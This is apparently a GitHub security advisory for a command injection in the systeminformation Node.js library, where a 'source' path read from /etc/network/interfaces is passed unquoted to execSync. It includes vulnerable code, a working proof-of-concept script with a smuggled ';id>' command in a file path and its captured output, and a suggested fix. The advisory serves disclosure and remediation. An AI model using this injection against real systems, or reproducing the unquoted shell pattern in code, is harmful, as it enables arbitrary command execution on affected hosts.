Summary

On Linux, systeminformation's networkInterfaces() is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive. While collecting per-interface DHCP state, the library reads /etc/network/interfaces and, for every source <path> line it encounters, extracts the path token from the file content and interpolates it unquoted into a shell command string that is run via execSync(). A source line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.

This is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the interfaces(5) source-recursion sink in checkLinuxDCHPInterfaces() was left unfixed and still builds a shell string. The input to this sink is unsanitized (unlike the iface/connectionName paths, which pass through util.sanitizeString in strict mode before reaching their commands).

Impact

An attacker who can place or influence a sourced path in /etc/network/interfaces (or any file it transitively sources) achieves command execution inside any process that calls networkInterfaces(). Realistic affected deployments are the same ones that motivate this library:

• local inventory / asset agents
• monitoring and diagnostics agents
• admin-dashboard backends collecting host information
• device-management / desktop agents

If such a process runs with elevated privileges, the injected command runs with those privileges. networkInterfaces() is a core, frequently-called API and is reached transitively by getStaticData() / getAllData(), so the sink is exercised by ordinary usage on Linux.

Threat model

The dangerous value is not a function argument supplied by the caller. It is read from the content of an interfaces(5) configuration file. The stock Debian/Ubuntu layout uses source /etc/network/interfaces.d/* and source-directory fan-out, so the parser routinely follows source directives into other files and re-parses their source lines. Any actor who can write a file that becomes reachable through that source chain — for example a lower-privileged process or configuration-management hook that drops a file into a sourced directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one sourced path string contains shell metacharacters.

Vulnerable code

lib/network.js, checkLinuxDCHPInterfaces() (current 5.31.6 line numbers):

// lib/network.js
function checkLinuxDCHPInterfaces(file) {
  let result = [];
  try {
    const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`;   // <-- unquoted ${file} -> shell sink
    const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');

    lines.forEach((line) => {
      const parts = line.replace(/\s+/g, ' ').trim().split(' ');
      if (parts.length >= 4) {
        if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) {
          result.push(parts[1]);
        }
      }
      if (line.toLowerCase().includes('source')) {
        const file = line.split(' ')[1];                              // <-- path parsed FROM file content
        result = result.concat(checkLinuxDCHPInterfaces(file));        // <-- recurses, re-feeding attacker path
      }
    });
  } catch {
    util.noop();
  }
  return result;
}

util.execOptsLinux sets no shell option, so execSync(cmd, util.execOptsLinux) runs cmd through /bin/sh. The ${file} token is interpolated raw — not quoted, not passed through util.sanitizeString/sanitizeShellString — so ;, $( ), backticks, |, &, redirections, and even a bare space all break out of the intended cat/grep pipeline.

Reach chain to the public API:

// lib/network.js, getLinuxDHCPNics()
result = checkLinuxDCHPInterfaces('/etc/network/interfaces');

// lib/network.js, networkInterfaces() (Linux branch)
_dhcpNics = getLinuxDHCPNics();

networkInterfaces() is also reached by getStaticData() and getAllData() in lib/index.js.

Reproduction

The PoC exercises the verbatim shipped sink function extracted from the installed node_modules/systeminformation/lib/network.js (version pinned to 5.31.6), bound to the same child_process.execSync and shipped util.execOptsLinux the library uses. It then drives the exact source-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.

Install the pinned vulnerable version:

mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install systeminformation@5.31.6

poc.js:

const fs = require('fs');
const path = require('path');
const cp = require('child_process');
const libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');
const util = require(path.join(libDir, 'util.js'));

// Load the VERBATIM shipped sink function from the installed library source.
const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');
const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]*?\n\}\n/);
if (!m) { console.error('could not locate shipped function'); process.exit(2); }

// Bind the same free vars network.js binds: execSync + util.
const execSync = cp.execSync;
const checkLinuxDCHPInterfaces =
  new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util);

// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---
const tmp = fs.mkdtempSync('/tmp/si-dhcp-');
const outer = path.join(tmp, 'interfaces');
const marker = path.join(tmp, 'PWNED');
const maliciousSource = `/dev/null;id>${marker};echo`;
fs.writeFileSync(outer, `auto lo\niface lo inet loopback\nsource ${maliciousSource}\n`);

console.log('PRE  marker_exists=' + fs.existsSync(marker));
const res = checkLinuxDCHPInterfaces(outer);   // == networkInterfaces() -> getLinuxDHCPNics() path
console.log('returned=' + JSON.stringify(res));
console.log('POST marker_exists=' + fs.existsSync(marker));
if (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());

// --- Negative control: a benign sourced path must NOT execute anything ---
const tmp2 = fs.mkdtempSync('/tmp/si-neg-');
const outer2 = path.join(tmp2, 'interfaces');
const inner2 = path.join(tmp2, 'iface.d');
const marker2 = path.join(tmp2, 'PWNED_NEG');
fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n');
fs.writeFileSync(outer2, `auto lo\nsource ${inner2}\n`);
console.log('\nNEG pre  marker_exists=' + fs.existsSync(marker2));
const res2 = checkLinuxDCHPInterfaces(outer2);
console.log('NEG returned=' + JSON.stringify(res2));
console.log('NEG post marker_exists=' + fs.existsSync(marker2));

Run it:

node poc.js

Verbatim captured output (against systeminformation@5.31.6):

PRE  marker_exists=false
returned=[]
POST marker_exists=true
marker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

NEG pre  marker_exists=false
NEG returned=["eth0"]
NEG post marker_exists=false

The malicious source path caused the injected id command to run (marker created, contents = the calling process identity), while the benign source path parsed normally (["eth0"]) and produced no marker. The injected command runs with the privileges of the Node.js process that called networkInterfaces().

End-to-end reproduction

The transcript above is the end-to-end run against the pinned published artifact systeminformation@5.31.6, loading the shipped lib/network.js and lib/util.js from node_modules. Exact commands:

mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install systeminformation@5.31.6
# place poc.js (from the Reproduction section) in this directory
node poc.js

The marker file PWNED is created only by the injected command path; the negative-control marker PWNED_NEG is never created. The verbatim captured stdout is shown in the Reproduction section above.

Suggested fix

Stop building a shell string from a path that comes out of file content. Read the file with fs (no shell), or use argument-array execution, and never interpolate a parsed source path into a shell command. For example:

function checkLinuxDCHPInterfaces(file) {
  let result = [];
  try {
    // No shell: read the file directly and filter in JS.
    const content = require('fs').readFileSync(file, { encoding: 'utf8' });
    const lines = content.split('\n').filter((l) => /iface|source/.test(l));
    lines.forEach((line) => {
      const parts = line.replace(/\s+/g, ' ').trim().split(' ');
      if (parts.length >= 4 &&
          line.toLowerCase().indexOf(' inet ') >= 0 &&
          line.toLowerCase().indexOf('dhcp') >= 0) {
        result.push(parts[1]);
      }
      if (line.toLowerCase().includes('source')) {
        const sourced = line.split(' ')[1];
        result = result.concat(checkLinuxDCHPInterfaces(sourced));
      }
    });
  } catch {
    require('./util').noop();
  }
  return result;
}

If shelling out is preferred, replace the cat/grep shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:

const { execFileSync } = require('child_process');
const content = execFileSync('cat', [file], util.execOptsLinux).toString();

Quoting alone is insufficient. Treat every value parsed from interfaces(5) files as untrusted even though it originates from local system state, consistent with the defensive util.sanitizeString pattern already applied to the interface name and NetworkManager connection name on the sibling paths.

Fix PR

A fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the cat ${file} shell string in checkLinuxDCHPInterfaces() with a non-shell fs.readFileSync read and adds a Linux regression test that points the function at an interfaces file containing a source directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.

Credit

Reported by tonghuaroot.

References

• GHSA-5xpp-75jx-m839
• sebhildebrandt/systeminformation@bbfddde
• https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.7